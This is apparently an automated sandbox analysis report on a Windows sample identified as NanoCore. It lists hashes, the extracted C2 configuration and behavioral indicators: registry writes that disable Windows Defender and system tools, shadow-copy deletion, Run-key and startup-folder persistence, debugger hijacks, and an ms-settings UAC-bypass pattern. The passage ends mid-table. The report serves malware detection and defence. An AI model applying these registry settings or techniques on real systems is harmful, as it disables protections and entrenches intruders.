Analysis
- max time kernel
150s - max time network
150s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
13/11/2026, 04:19
Behavioral task
behavioral1
Sample
xoilacbongdatructiep.net_chrome.exe
Resource
win10v2004-20260911-en
windows10-2004-x64
42 signatures
150 seconds
Behavioral task
behavioral2
Sample
xoilacbongdatructiep.net_chrome.exe
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
40 signatures
150 seconds
General
- Target xoilacbongdatructiep.net_chrome.exe
- Size 57KB
- Sample261113-ext1esf12q
- SHA256 0924ff396ed28647063ee555ded8b20bce97c21cc032652f7bda1d86082d20c0
- MD5 db59075b9bd4d1a2588bd63a4e4a3bea
- SHA1 ca8a65e39f7a20ac5c54392ac49ee947bb7d58b1
- SHA512 d58153c711b6be1ce279e5eb0ec13ea509b60d2c7f0e592db9f413840e0a13d8009fd288eb390eb8008aea8b2e40206317687dc8501b78e2a3f990fc7ab077f5
- SSDEEP 768:dT+rBnGu6FAGhWv2oZ9cbs4gU+dCYMR40N1XXGb5fAdOTqAKFum1g:dTIoiHvCs3fi40LXGb5feOTqAuuT
- TLSH T14A43C64477FD4211E2BF9EBA4DB195518732B8A7AC22D39D06D4068E09B3B408DA8F77
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
Family
-
nanocore
Version
-
1.2.2.0
C2
-
http://xoilacbongdatructiep.net
Mutex
-
ac7e2f05-8df7-4c55-8841-78385f6bb064
Attributes
-
c2_url
http://xoilacbongdatructiep.net
-
default_group
xoilac
-
primary_dns
ali.ns.cloudflare.com
-
secondary_dns
woz.ns.cloudflare.com
-
version
1.2.2.0
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/3368-1-0x0000000000900000-0x0000000000914000-memory.dmp disable_win_def behavioral2/files/0x000900000001c9b5-2279.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" xoilacbongdatructiep.net_chrome.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2516 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" xoilacbongdatructiep.net_chrome.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts xoilacbongdatructiep.net_chrome.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe xoilacbongdatructiep.net_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacbongdatructiep.net_chrome.exe" xoilacbongdatructiep.net_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe xoilacbongdatructiep.net_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacbongdatructiep.net_chrome.exe" xoilacbongdatructiep.net_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe xoilacbongdatructiep.net_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacbongdatructiep.net_chrome.exe" xoilacbongdatructiep.net_chrome.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 2892 netsh.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf xoilacbongdatructiep.net_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf xoilacbongdatructiep.net_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf xoilacbongdatructiep.net_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf xoilacbongdatructiep.net_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf xoilacbongdatructiep.net_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf xoilacbongdatructiep.net_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf xoilacbongdatructiep.net_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf xoilacbongdatructiep.net_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf xoilacbongdatructiep.net_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf xoilacbongdatructiep.net_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf xoilacbongdatructiep.net_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_179.pdf xoilacbongdatructiep.net_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf xoilacbongdatructiep.net_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf xoilacbongdatructiep.net_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf xoilacbongdatructiep.net_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_105.pdf xoilacbongdatructiep.net_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf xoilacbongdatructiep.net_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf xoilacbongdatructiep.net_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf xoilacbongdatructiep.net_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf xoilacbongdatructiep.net_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf xoilacbongdatructiep.net_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf xoilacbongdatructiep.net_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf xoilacbongdatructiep.net_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf xoilacbongdatructiep.net_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf xoilacbongdatructiep.net_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf xoilacbongdatructiep.net_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf xoilacbongdatructiep.net_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf xoilacbongdatructiep.net_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf xoilacbongdatructiep.net_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf xoilacbongdatructiep.net_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_177.pdf xoilacbongdatructiep.net_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf xoilacbongdatructiep.net_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf xoilacbongdatructiep.net_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf xoilacbongdatructiep.net_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf xoilacbongdatructiep.net_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf xoilacbongdatructiep.net_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf xoilacbongdatructiep.net_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf xoilacbongdatructiep.net_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf xoilacbongdatructiep.net_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf xoilacbongdatructiep.net_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf xoilacbongdatructiep.net_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf xoilacbongdatructiep.net_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf xoilacbongdatructiep.net_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf xoilacbongdatructiep.net_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf xoilacbongdatructiep.net_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf xoilacbongdatructiep.net_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf xoilacbongdatructiep.net_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf xoilacbongdatructiep.net_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf xoilacbongdatructiep.net_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf xoilacbongdatructiep.net_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf xoilacbongdatructiep.net_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf xoilacbongdatructiep.net_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf xoilacbongdatructiep.net_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf xoilacbongdatructiep.net_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf xoilacbongdatructiep.net_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf xoilacbongdatructiep.net_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_72.pdf xoilacbongdatructiep.net_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf xoilacbongdatructiep.net_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf xoilacbongdatructiep.net_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf xoilacbongdatructiep.net_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf xoilacbongdatructiep.net_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf xoilacbongdatructiep.net_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf xoilacbongdatructiep.net_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf xoilacbongdatructiep.net_chrome.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 3 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacbongdatructiep.net_chrome.exe" xoilacbongdatructiep.net_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacbongdatructiep.net_chrome.exe" xoilacbongdatructiep.net_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacbongdatructiep.net_chrome.exe" xoilacbongdatructiep.net_chrome.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 5740 tasklist.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\svchost.exe xoilacbongdatructiep.net_chrome.exe File created C:\Windows\system32\sysupdate.exe xoilacbongdatructiep.net_chrome.exe File opened for modification C:\Windows\system32\sysupdate.exe xoilacbongdatructiep.net_chrome.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 5360 wscript.exe 2316 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" xoilacbongdatructiep.net_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp" xoilacbongdatructiep.net_chrome.exe - Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1184 sc.exe 4856 sc.exe 3376 sc.exe 4976 sc.exe 1304 sc.exe 5720 sc.exe 1532 sc.exe 5468 sc.exe 4560 sc.exe 1356 sc.exe 1384 sc.exe 4260 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5216 cmd.exe 4316 cmd.exe 1396 cmd.exe 1104 cmd.exe 4764 cmd.exe 4120 cmd.exe 4292 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain xoilacbongdatructiep.net_chrome.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname xoilacbongdatructiep.net_chrome.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 5380 ipconfig.exe 4576 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 3464 systeminfo.exe - Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1240 vssadmin.exe 3812 vssadmin.exe 1700 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Control Panel\Desktop\WallpaperStyle = "2" xoilacbongdatructiep.net_chrome.exe - Modifies registry class 16 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command xoilacbongdatructiep.net_chrome.exe Key created \REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000_Classes\ms-settings\shell\open xoilacbongdatructiep.net_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000_Classes\ms-settings\shell\open\command\DelegateExecute xoilacbongdatructiep.net_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000_Classes\ms-settings\shell\open xoilacbongdatructiep.net_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000_Classes\ms-settings\shell xoilacbongdatructiep.net_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet xoilacbongdatructiep.net_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacbongdatructiep.net_chrome.exe\" \"%1\"" xoilacbongdatructiep.net_chrome.exe Key created \REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000_Classes\ms-settings\shell\open\command xoilacbongdatructiep.net_chrome.exe Key created \REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000_Classes\ms-settings xoilacbongdatructiep.net_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000_Classes\ms-settings xoilacbongdatructiep.net_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet" xoilacbongdatructiep.net_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell xoilacbongdatructiep.net_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open xoilacbongdatructiep.net_chrome.exe Key created \REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000_Classes\ms-settings\shell xoilacbongdatructiep.net_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacbongdatructiep.net_chrome.exe" xoilacbongdatructiep.net_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000_Classes\ms-settings\shell\open\command xoilacbongdatructiep.net_chrome.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5812 schtasks.exe 3224 schtasks.exe 1636 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2516 powershell.exe 2516 powershell.exe 2516 powershell.exe 4104 WMIC.exe 4104 WMIC.exe 4104 WMIC.exe 4104 WMIC.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 6012 WMIC.exe 6012 WMIC.exe 6012 WMIC.exe 6012 WMIC.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3180 WMIC.exe 3180 WMIC.exe 3180 WMIC.exe 3180 WMIC.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe 3368 xoilacbongdatructiep.net_chrome.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3368 xoilacbongdatructiep.net_chrome.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2516 powershell.exe Token: SeIncreaseQuotaPrivilege 4104 WMIC.exe Token: SeSecurityPrivilege 4104 WMIC.exe Token: SeTakeOwnershipPrivilege 4104 WMIC.exe Token: SeLoadDriverPrivilege 4104 WMIC.exe Token: SeSystemProfilePrivilege 4104 WMIC.exe Token: SeSystemtimePrivilege 4104 WMIC.exe Token: SeProfSingleProcessPrivilege 4104 WMIC.exe Token: SeIncBasePriorityPrivilege 4104 WMIC.exe Token: SeCreatePagefilePrivilege 4104 WMIC.exe Token: SeBackupPrivilege 4104 WMIC.exe Token: SeRestorePrivilege 4104 WMIC.exe Token: SeShutdownPrivilege 4104 WMIC.exe Token: SeDebugPrivilege 4104 WMIC.exe Token: SeSystemEnvironmentPrivilege 4104 WMIC.exe Token: SeRemoteShutdownPrivilege 4104 WMIC.exe Token: SeUndockPrivilege 4104 WMIC.exe Token: SeManageVolumePrivilege 4104 WMIC.exe Token: 33 4104 WMIC.exe Token: 34 4104 WMIC.exe Token: 35 4104 WMIC.exe Token: 36 4104 WMIC.exe Token: SeBackupPrivilege 5696 vssvc.exe Token: SeRestorePrivilege 5696 vssvc.exe Token: SeAuditPrivilege 5696 vssvc.exe Token: SeIncreaseQuotaPrivilege 4104 WMIC.exe Token: SeSecurityPrivilege 4104 WMIC.exe Token: SeTakeOwnershipPrivilege 4104 WMIC.exe Token: SeLoadDriverPrivilege 4104 WMIC.exe Token: SeSystemProfilePrivilege 4104 WMIC.exe Token: SeSystemtimePrivilege 4104 WMIC.exe Token: SeProfSingleProcessPrivilege 4104 WMIC.exe Token: SeIncBasePriorityPrivilege 4104 WMIC.exe Token: SeCreatePagefilePrivilege 4104 WMIC.exe Token: SeBackupPrivilege 4104 WMIC.exe Token: SeRestorePrivilege 4104 WMIC.exe Token: SeShutdownPrivilege 4104 WMIC.exe Token: SeDebugPrivilege 4104 WMIC.exe Token: SeSystemEnvironmentPrivilege 4104 WMIC.exe Token: SeRemoteShutdownPrivilege 4104 WMIC.exe Token: SeUndockPrivilege 4104 WMIC.exe Token: SeManageVolumePrivilege 4104 WMIC.exe Token: 33 4104 WMIC.exe Token: 34 4104 WMIC.exe Token: 35 4104 WMIC.exe Token: 36 4104 WMIC.exe Token: SeIncreaseQuotaPrivilege 2516 powershell.exe Token: SeSecurityPrivilege 2516 powershell.exe Token: SeTakeOwnershipPrivilege 2516 powershell.exe Token: SeLoadDriverPrivilege 2516 powershell.exe Token: SeSystemProfilePrivilege 2516 powershell.exe Token: SeSystemtimePrivilege 2516 powershell.exe Token: SeProfSingleProcessPrivilege 2516 powershell.exe Token: SeIncBasePriorityPrivilege 2516 powershell.exe Token: SeCreatePagefilePrivilege 2516 powershell.exe Token: SeBackupPrivilege 2516 powershell.exe Token: SeRestorePrivilege 2516 powershell.exe Token: SeShutdownPrivilege 2516 powershell.exe Token: SeDebugPrivilege 2516 powershell.exe Token: SeSystemEnvironmentPrivilege 2516 powershell.exe Token: SeRemoteShutdownPrivilege 2516 powershell.exe Token: SeUndockPrivilege 2516 powershell.exe Token: SeManageVolumePrivilege 2516 powershell.exe Token: 33 2516 powershell.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3368 xoilacbongdatructiep.net_chrome.exe - Suspicious use of WriteProcessMemory 44 IoCs
description pid Process procid_target PID 3368 wrote to memory of 2516 3368 xoilacbongdatructiep.net_chrome.exe 89 PID 3368 wrote to memory of 4260 3368 xoilacbongdatructiep.net_chrome.exe 91 PID 3368 wrote to memory of 1184 3368 xoilacbongdatructiep.net_chrome.exe 93 PID 3368 wrote to memory of 4856 3368 xoilacbongdatructiep.net_chrome.exe 95 PID 3368 wrote to memory of 5720 3368 xoilacbongdatructiep.net_chrome.exe 97 PID 3368 wrote to memory of 5468 3368 xoilacbongdatructiep.net_chrome.exe 99 PID 3368 wrote to memory of 1532 3368 xoilacbongdatructiep.net_chrome.exe 101 PID 3368 wrote to memory of 3376 3368 xoilacbongdatructiep.net_chrome.exe 103 PID 3368 wrote to memory of 4976 3368 xoilacbongdatructiep.net_chrome.exe 105 PID 3368 wrote to memory of 2360 3368 xoilacbongdatructiep.net_chrome.exe 107 PID 3368 wrote to memory of 1304 3368 xoilacbongdatructiep.net_chrome.exe 108 PID 3368 wrote to memory of 4560 3368 xoilacbongdatructiep.net_chrome.exe 110 PID 2360 wrote to memory of 1088 2360 fodhelper.exe 112 PID 3368 wrote to memory of 1700 3368 xoilacbongdatructiep.net_chrome.exe 113 PID 3368 wrote to memory of 4104 3368 xoilacbongdatructiep.net_chrome.exe 115 PID 3368 wrote to memory of 5360 3368 xoilacbongdatructiep.net_chrome.exe 121 PID 3368 wrote to memory of 1636 3368 xoilacbongdatructiep.net_chrome.exe 123 PID 3368 wrote to memory of 5812 3368 xoilacbongdatructiep.net_chrome.exe 125 PID 3368 wrote to memory of 1396 3368 xoilacbongdatructiep.net_chrome.exe 130 PID 3368 wrote to memory of 1104 3368 xoilacbongdatructiep.net_chrome.exe 132 PID 3368 wrote to memory of 4316 3368 xoilacbongdatructiep.net_chrome.exe 133 PID 3368 